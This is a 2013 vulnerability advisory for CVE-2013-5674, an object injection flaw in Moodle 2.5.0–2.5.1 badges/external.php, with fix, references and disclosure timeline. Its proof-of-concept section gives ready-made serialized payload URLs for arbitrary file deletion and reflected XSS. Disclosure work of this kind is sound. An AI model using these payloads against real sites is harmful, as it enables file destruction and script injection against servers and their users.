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- Original release date: 15 September, 2013
- Discovered by: Emilio Pinna (Application Security Analyst at Abinsula)
- Contact: emilio # pinn # gmail
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VULNERABILITY
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Moodle CMS version 2.5.0-1 is prone to Object Injection vulnerability passing not properly sanitized user-supplied input to the unserialize() PHP function.

Attacker could inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this application the attacker could delete files and perform a XSS attacks.

DESCRIPTION
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Affected file badges/external.php unserialize user input in line 35

$json = required_param('badge', PARAM_RAW);
..
$badge = new external_badge(unserialize($json));

PROOF OF CONCEPT
----------------------

- FILE DELETE
The method csv_export_writer::__destruct() in lib/csvlib.class.php:538 can be exploited in order to delete remote file passing the serialized object.

http://localhost/badges/external.php?badge=O:17:"csv_export_writer":1:{s:4:"path";s:27:"/path/of/the/file/to/delete";}

- XSS
The rendered HTML page constructed in the core_badges_renderer::render_external_badge() in badges/renderer.php:375 reflects the two object variable assertion and imageurl, as that can be used as XSS vector. 

http://localhost/badges/external.php?badge=O:8:"stdClass":2:{s:8:"imageUrl";s:0:"";s:9:"assertion";O:8:"stdClass":1:{s:5:"badge";O:8:"stdClass":1:{s:6:"issuer";O:8:"stdClass":1:{s:4:"name";s:30:"<script>alert(1);</script><!--";}}}}

SYSTEMS AFFECTED
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Moodle CMS version 2.5.0 and 2.5.1. Fixed in 2.5.2.

SOLUTION
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Do not unserialize() user-supplied input, use standard data format as json instead. Moodle users must upgrade to 2.5.2.

CVE REFERENCE
----------------------
The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-5674 to the vulnerability

CREDITS
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Emilio Pinna: emilio # pinn # gmail

REFERENCES
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https://tracker.moodle.org/browse/MDL-40924
http://disse.cting.org/2013/09/16/moodle-2_5_0_1-badges-external-object-injection/

DISCLOSURE TIMELINE
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29/Jul/2013: Vendor alerted with MDL-40924 ticket
02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko
07/Sep/2013: Moodle release 2.5.2
15/Sep/2013: Public disclosure

LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.